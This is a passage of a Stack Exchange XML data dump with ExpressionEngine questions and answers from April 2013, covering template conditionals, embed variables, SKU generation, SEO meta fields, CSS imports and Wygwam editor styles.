class=&quot;small&quot;&amp;gt;&amp;lt;strong&amp;gt;Follow&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my main page, I embed the sidebar, and set preload at the top of my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:chan=&quot;inner_page_details&quot;}&#xA;{preload_replace:cat=&quot;7&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;_edit: I discovered this issue happened because it wasn't reading the channel preload_replace included in the main templates. I had to hard-code the channel in, but am unable to discover a solution for the categories_&lt;/p&gt;&#xA;" OwnerUserId="525" LastEditorUserId="525" LastEditDate="2013-04-16T17:30:44.807" LastActivityDate="2013-04-16T17:33:31.867" Title="Nested conditional is not displaying content" Tags="|conditionals|fields|nesting|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="2" ParentId="9297" CreationDate="2013-04-12T22:12:25.570" Score="0" Body="&lt;p&gt;why not use this module. i've done a couple assesssments/quizzes with it: &lt;a href=&quot;http://devot-ee.com/add-ons/4-eequiz&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/4-eequiz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2013-04-12T22:12:25.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9307" PostTypeId="1" AcceptedAnswerId="9312" CreationDate="2013-04-12T23:06:51.383" Score="1" ViewCount="482" Body="&lt;p&gt;I have a routine that searches for an existing customer, based on their member email address. I'm passing the email address as an embed variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;delivery/charter_customer_form&quot; cust_email=&quot;{email}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable returns the address correctly. If I put &lt;code&gt;{embed:cust_email}&lt;/code&gt; in the template, it displays the correct address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I plug it into the channel entry tag, I get no results, even I though I know for a fact that there is a match there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;customers&quot; search:customer_email=&quot;{embed:cust_email}&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if I replace the variable with the hard-coded address, it returns the entry I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I overlooking something?&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2013-04-13T12:02:47.773" Title="Channel Entries Search Returning No Results" Tags="|channel-entries|search|embeds|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9308" PostTypeId="2" ParentId="9307" CreationDate="2013-04-13T00:59:50.240" Score="0" Body="&lt;p&gt;You might need parse=&quot;inward&quot; on your channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-13T00:59:50.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9309" PostTypeId="2" ParentId="9297" CreationDate="2013-04-13T05:04:17.590" Score="2" Body="&lt;p&gt;As mentioned you can use 4-EE Quiz Module ( &lt;a href=&quot;http://devot-ee.com/add-ons/4-eequiz&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/4-eequiz&lt;/a&gt; ) which has a built in point and scoring system already while allowing for the users selections to be saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use something like &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; which would allow you to create the questions as fields in Freeform so that the users selections could be stored in the EE DB. You could then use the Javascript that you were planning on using already to calculate the users total and show the messages based upon the users choices.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-04-15T02:37:06.633" LastActivityDate="2013-04-15T02:37:06.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="2" ParentId="9261" CreationDate="2013-04-13T05:44:08.193" Score="1" Body="&lt;p&gt;I think the easiest method would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/advanced-prev-next-entry&quot; rel=&quot;nofollow&quot;&gt;Advanced Prev Next Entry&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;entry_date vars are in fact available in this tag pair. I know because I just tested it for you :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&#xA;    {exp:bbr_prevnext_entry current_url_title=&quot;{segment_4}&quot; channel_name=&quot;blog&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot; cycle=&quot;yes&quot;}&#xA;&#xA;        &amp;lt;a class=&quot;prev&quot; href=&quot;/blog/{entry_date format=&quot;%Y&quot;}/{entry_date format=&quot;%m&quot;}/{prev_url_title}/&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;  &#xA;        &amp;lt;a class=&quot;next&quot; href=&quot;/blog/{entry_date format=&quot;%Y&quot;}/{entry_date format=&quot;%m&quot;}/{next_url_title}/&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&#xA;    {/exp:bbr_prevnext_entry}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this and forget about having to mess with turning on PHP or using a second add-on ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: make sure your orderby and sort are set the same on your listing page as they are set in the bbr_prevnext_entry params (or rather vice versa) other wise things could appear out of order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: APNE allows you to do a full circle with your entries via the cycle param. Not something that comes standard with core Next/Previous Entry Linking tags to my knowledge.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-04-13T15:23:22.520" LastActivityDate="2013-04-13T15:23:22.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9311" PostTypeId="1" AcceptedAnswerId="9319" CreationDate="2013-04-13T08:43:25.457" Score="2" ViewCount="129" Body="&lt;p&gt;I have a store implementation where there will only ever be one SKU per inventory item/product. I am interested in having the SKU field equal the title field (using &lt;a href=&quot;http://devot-ee.com/add-ons/title-master-developer-license&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt; so each title is unique).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done anything similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Sean&lt;/p&gt;&#xA;" OwnerUserId="539" LastActivityDate="2014-03-28T16:24:28.683" Title="Is it possible to have SKUs automatically generated on publish?" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="2" ParentId="9307" CreationDate="2013-04-13T12:02:47.773" Score="1" Body="&lt;p&gt;This is due to ExpressionEngine parsing order in which user defined global variables are parsed at last. See here &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve this problem, you need to have small custom plugin which will return member's email. The plugin code would be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Custom_plugin {&#xA;    public $return_data;&#xA;    function __construct(){&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();    &#xA;        $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('email');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I hope, you will put other plugin code yourself.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can have embed variable like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;delivery/charter_customer_form&quot; cust_email=&quot;{emp:custom_plugin}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-13T12:02:47.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="2" ParentId="9311" CreationDate="2013-04-13T12:47:58.407" Score="1" Body="&lt;p&gt;SKUs are better smaller. Say 5 to 10 characters, rather than a full title. There may even be a space limit on the field in &lt;code&gt;Store&lt;/code&gt;, you'd need to check. But if you were going to auto generate one, I'd recommend the &lt;code&gt;entry_id&lt;/code&gt; over the title. For one client we use, a 3-4 character code for the product section, say: MEM, PUB, etc for Member or Publication, then the entry_id. So final SKU looks like MEM56789 or PUB245.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that you want to solve the auto-create issue. With &lt;code&gt;entry_id&lt;/code&gt; you have to grab after the record is created. With title, you could insert or modify the 'as you type' javascript that creates the url_title field and try to auto-fill the SKU field that way. You'd want to check on field limits, maybe remove all spacing. I'm not certain how long your titles generally are. I know our client's can occasionally push the boundaries of the &lt;code&gt;title&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;title&lt;/code&gt;, you'd need to create an extension to insert the SKU. You could also do it with a CRON job on a MySQL UPDATE script, as well. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-13T12:47:58.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9314" PostTypeId="2" ParentId="9305" CreationDate="2013-04-13T13:49:03.930" Score="1" Body="&lt;p&gt;I'm assuming that when you say sections other than &lt;code&gt;/blog&lt;/code&gt; are not displaying content that you also mean that sections which are &lt;code&gt;/blog&lt;/code&gt; &lt;strong&gt;&lt;em&gt;are&lt;/em&gt;&lt;/strong&gt; displaying content(?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case then it may very well be the &lt;code&gt;{if:else}&lt;/code&gt; causing the problem so try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;blog&quot;}&#xA;    ...&#xA;{/if}&#xA;&#xA;{if segment_1 != &quot;blog&quot;}&#xA;    NOT blog section&#xA;    other nested conditionals here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps in getting something to display for sections other than &lt;code&gt;/blog/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-13T13:49:03.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostTypeId="1" CreationDate="2013-04-13T15:02:51.583" Score="0" ViewCount="137" Body="&lt;p&gt;What is the best way to add custom page titles and meta info to non entry pages like the home page or a landing page for a portfolio? I want to give users the ability to edit the page title and meta info on these types of pages via the CP. I set up embedded variables to do this for my entry pages which works great but need a solution for these no channel entry pages. Any advice would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-04-13T15:59:20.297" LastActivityDate="2013-04-14T19:08:13.987" Title="Adding Page Titles and Meta Info to Home Page and Non Channal Entry Pages" Tags="|seo|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="2" ParentId="9301" CreationDate="2013-04-13T15:04:48.920" Score="1" Body="&lt;p&gt;When you search for something that does have a search result, are you redirected to the correct search results page? You are searching everywhere , search_in=&quot;everywhere&quot;, which includes comments and all other fields. Could it be possible that &quot;test&quot; was somewhere else in there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your result_page parameter is set to &quot;s&quot;, you might need to try and set it to &quot;s/index&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-04-13T15:04:48.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9317" PostTypeId="2" ParentId="9305" CreationDate="2013-04-13T15:24:42.097" Score="0" Body="&lt;p&gt;Looking at the documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first user comment mentions enclosing your variables in quotes, so maybe you should try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{bring_content}&quot; != &quot;&quot;}&#xA;   &amp;lt;h2&amp;gt;Bring&amp;lt;/h2&amp;gt;&#xA;   &amp;lt;p&amp;gt;{bring_content}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{if &quot;{tip_content}&quot; != &quot;&quot;}&#xA;   &amp;lt;h2&amp;gt;Tips&amp;lt;/h2&amp;gt;&#xA;   &amp;lt;p&amp;gt;{tip_content}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Conditionals can be fickle sometimes. The third comment in the documentation mentions that by adding the quotes around your tags, it parses it as an advanced conditional vs a simple conditional.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-04-13T15:24:42.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="2" ParentId="9315" CreationDate="2013-04-13T17:18:28.147" Score="1" Body="&lt;p&gt;One of the most popular ways is to use &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt;. It's perfect for handling all the 'etc' information which doesn't fit into a channel but where the user needs to be able to edit it from the control panel. It's commercial but it has many uses and is a common install.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-13T17:18:28.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostTypeId="2" ParentId="9311" CreationDate="2013-04-13T17:42:36.233" Score="0" Body="&lt;p&gt;Title Master is very useful indeed but I'm not sure you could use that to automatically fill in the SKU with Store however. The reason is that the Store field is itself a compound field so I don't think you'd be able to specify which field within it you'd want to have populated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As nonprofit_tech mentioned you can either go with a client-side (JS) solution or go server-side (PHP/SQL) but I'd probably look to go with client-side. Either way it will require getting your hands dirty with code to get something working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a JS based solution you'd need to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&quot; rel=&quot;nofollow&quot;&gt;cp_js_end&lt;/a&gt; hook but you can cut out some of the custom extension work if you use Brandon's handy addon (&lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt;) which provides an easy way to add custom JS to the control panel. From there you could use JS or jQuery to grab the contents of the title field, format it, and then insert into the SKU field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd agree with nonprofit_tech though that really you want to keep this short and mimicking the title exactly may not be a good idea as it's open to abuse.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-13T17:42:36.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="2" ParentId="9157" CreationDate="2013-04-13T18:01:33.393" Score="0" Body="&lt;p&gt;If you happen to already be using &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, you can probably achieve this with the &lt;code&gt;set_list&lt;/code&gt; and &lt;code&gt;get_list&lt;/code&gt; methods in combination with the &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not already using Stash, then the query module approaches would be best.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-13T18:01:33.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostTypeId="1" CreationDate="2013-04-13T18:53:06.103" Score="1" ViewCount="107" Body="&lt;p&gt;I have an at import rule in my main style sheet. @import url(&quot;base.css&quot;); However its not importing the base.css. The base.css is in the same template group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim Breen &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-04-14T14:51:40.293" Title="At import rule in style sheet" Tags="|error|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="1" AcceptedAnswerId="9326" CreationDate="2013-04-13T19:34:24.870" Score="5" ViewCount="4425" Body="&lt;p&gt;I'm trying to add a conditional that checks if some Matrix fields are populated. &#xA;If there's content, it'll enter the content within the Matrix fields. If not it'll default to another value. &#xA;However, I'm not having any luck; the code at the moment reads as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;{segment_1}&quot;}&#xA;        {matrix_primary_tag_pair}&#xA;            {matrix_field_1}&#xA;        {if matrix_field_2}&#xA;            {matrix_field_2}&#xA;            {matrix_field_3}&#xA;        {if:elseif}&#xA;               {title}&#xA;        {/if}&#xA;        {/matrix_primary_tag_pair}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it is, either the {title} &amp;amp; {matrix_field_2} {matrix_field_2} appear, or none.&#xA;Can anyone offer any suggestions?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1329" LastEditorUserId="1329" LastEditDate="2013-04-13T19:54:00.267" LastActivityDate="2013-04-13T23:15:30.073" Title="{if:else if} &amp; Matrix - Help!" Tags="|matrix|conditionals|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9323" PostTypeId="1" AcceptedAnswerId="9342" CreationDate="2013-04-13T19:39:10.260" Score="0" ViewCount="180" Body="&lt;p&gt;I have a number of custom member fields setup to store &amp;quot;yes&amp;quot; or &amp;quot;no&amp;quot; settings. They are used for form inputs for checkbox fields. I don't want them visible on the standard Exp Eng profile pages or on the standard Exp Eng Registration page because that would be confusing to the user and they might enter incorrect values in the fields.&lt;/p&gt;&#xA;&lt;p&gt;In the Exp Eng documentation there is this...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is this field visible in registration page?&lt;/p&gt;&#xA;&lt;p&gt;When set to “yes”, the field will be available in the public member registration form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For these fields in question I have them set to &amp;quot;no&amp;quot; for the above setting. My question is, will the above setting also &amp;quot;deactivate&amp;quot; that custom field on a Registration page, even if I make the field available in the code of the form?&lt;/p&gt;&#xA;&lt;p&gt;I have a custom registration page that I setup in a member profile template group that uses these input fields but after someone has submitted the form and completed the member signup none of the selections that use those fields come through.&lt;/p&gt;&#xA;&lt;p&gt;From the point of view of the person signing up they are making selections to signup for email newsletters but after they are registered none of those subscriptions choices were saved.&lt;/p&gt;&#xA;&lt;p&gt;There may be another issue with a javascript routine but that works fine on other pages.&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-14T23:34:48.077" Title="Are custom member fields not functional in the registration form if the setting for &quot;field visible in registration page&quot; is set to &quot;No&quot;" Tags="|forms|member-details|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9324" PostTypeId="2" ParentId="9321" CreationDate="2013-04-13T19:44:36.327" Score="1" Body="&lt;p&gt;Just a guess but have you checked the url path? You should use a full path for the base.css file on the server like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/css/base.css&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/css/base.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the css file is in a template group I would also suggest including the &quot;index.php&quot; part of the URL so that htaccess won't mess around with it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bob.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-04-13T19:44:36.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="2" ParentId="5033" CreationDate="2013-04-13T19:56:01.570" Score="0" Body="&lt;p&gt;I don't know if this is related but I have a similar, non-CartThrob related, issue posted here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9323/are-custom-member-fields-not-functional-in-the-registration-form-if-the-setting&quot;&gt;Are custom member fields not functional in the registration form if the setting for &amp;quot;field visible in registration page&amp;quot; is set to &amp;quot;No&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data for custom member fields are not being saved for pending members who have just signed up.&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-04-13T19:56:01.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostTypeId="2" ParentId="9322" CreationDate="2013-04-13T22:41:25.320" Score="6" Body="&lt;p&gt;You should try changing your conditional to test if the content is not equal to &quot;&quot;. Also this should not be an elseif, it should simply be and else statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_1}&quot;}&#xA;   {matrix_primary_tag_pair}&#xA;     {matrix_field_1}&#xA;     {if matrix_field_2 != &quot;&quot;}&#xA;       {matrix_field_2}&#xA;       {matrix_field_3}&#xA;     {if:else}&#xA;       {title}&#xA;     {/if}&#xA;   {/matrix_primary_tag_pair}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Expression Engine evaluates &quot;&quot; as true coming from matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the {if:elseif} needs a condition like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif matrix_field_2 == &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#else-and-elseif&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#else-and-elseif&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {if:else} is more appropriate here though&#xA;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2013-04-13T23:15:30.073" LastActivityDate="2013-04-13T23:15:30.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostTypeId="1" AcceptedAnswerId="9334" CreationDate="2013-04-14T00:15:49.333" Score="2" ViewCount="197" Body="&lt;p&gt;I want to add watermarks to &lt;em&gt;some&lt;/em&gt; images that I upload to an EE site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create images/illustrations and want to watermark those. It's helpful when the images come up in Google Image Search, both for branding, to make copying more difficult, and to come up with a good branding strategy for Pinterest usage of images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also use images for which watermarking is not suitable (CC attribution images, images from other sites that I use with permission). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I use the Matrix file upload and do resizing using CE image and  the image slug replacement method. I've theorized that I could add a switch in the Matrix field to watermark or not, and put CE image to work if the switch says yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm also thinking about re-architecting images using Channel Images instead. (call me crazy!)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;For those of you who've worked with images using both CE Image and&#xA;Channel Images, how would you conditionally apply watermarks using&#xA;Channel Images? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you think I should stick to my current Matrix Image Replacement&#xA;technique, or (once it's re-architected) would using Channel Images&#xA;be easier to do in the long run? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, is there some other method to accomplish watermarking on a&#xA;case-by-case basis that I haven't mentioned here?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-04-14T15:00:34.247" Title="Suggested method to watermark images on a case-by-case basis? (Matrix+CE Image or Channel Image)" Tags="|conditionals|image|ce-image|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="2" ParentId="9321" CreationDate="2013-04-14T00:21:24.023" Score="1" Body="&lt;p&gt;I'm assuming from &quot;the same template group&quot; that both the main style sheet and base.css are both in your EE templates. Are you using the template group and template name in an EE tag in your import rule?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;@import url('{path=home/base}');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;@import url('{stylesheet='channel/channel_css'}');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-04-14T00:21:24.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9329" PostTypeId="2" ParentId="9315" CreationDate="2013-04-14T01:23:31.853" Score="0" Body="&lt;p&gt;I would suggest you to use the channel to manage the page title and meta info. This channel would contain the field for these. Also, you should have a field type &quot;Template Select&quot; &lt;a href=&quot;http://devot-ee.com/add-ons/template-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/template-select&lt;/a&gt; within this channel. In this way, this channel would have following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page Tile &lt;/li&gt;&#xA;&lt;li&gt;Description &lt;/li&gt;&#xA;&lt;li&gt;Keywords &lt;/li&gt;&#xA;&lt;li&gt;Select the template (Template Select) field type&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can have following code example within your non-entry template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1}&#xA;{exp:channel channel=&quot;page_seo&quot; search:template=&quot;{segment_1}/{segment_2}&quot;}&#xA;&amp;lt;title&amp;gt;{page_title}&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;{description}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;{keywords}&quot; /&amp;gt;&#xA;{/exp:channel}&#xA;{if:else}&#xA;&amp;lt;!-- To manage Home Page --&amp;gt;&#xA;{exp:channel channel=&quot;page_seo&quot; search:template=&quot;home/index&quot;}&#xA;&amp;lt;title&amp;gt;{page_title}&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;{description}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;{keywords}&quot; /&amp;gt;&#xA;{/exp:channel}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-14T01:23:31.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9331" PostTypeId="1" CreationDate="2013-04-14T08:59:10.880" Score="3" ViewCount="756" Body="&lt;p&gt;I have defined a new set of style to use in the wygwam editor and that works fine.  I have called this file &quot;my styles.js&quot; and included it in /themes/third_party/wygwam_assets/&#xA;as suggested in the guide located here: &lt;a href=&quot;http://pixelandtonic.com/wygwam/docs/style-set&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/wygwam/docs/style-set&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the styles I have included is called myclass (see below) and it does get applied within the editor.  I have also included a style sheet in the same location as described in the guide that defines myclass.  The problem I have is that the styling although being applied is not showing within the editor window. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CKEDITOR.stylesSet.add( 'my_styles',&#xA;[&#xA;    // Block Styles&#xA;    { name: 'Blue Title', element: 'h2', styles: { 'color': 'Blue' } },&#xA;    { name: 'Red Title' , element: 'h3', styles: { 'color': 'Red' } },&#xA;    { name: 'My Class', element: 'div', attributes: { 'class': 'myclass' } },&#xA;&#xA;    // Inline Styles&#xA;    { name: 'CSS Style', element: 'span', attributes: { 'class': 'my_style' } },&#xA;&#xA;    { name: 'Marker: Yellow', element: 'span', styles: { 'background-color': 'Yellow' } }&#xA;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="422" LastEditDate="2013-04-14T15:09:33.360" LastActivityDate="2014-01-07T17:58:26.063" Title="style set wygwam" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
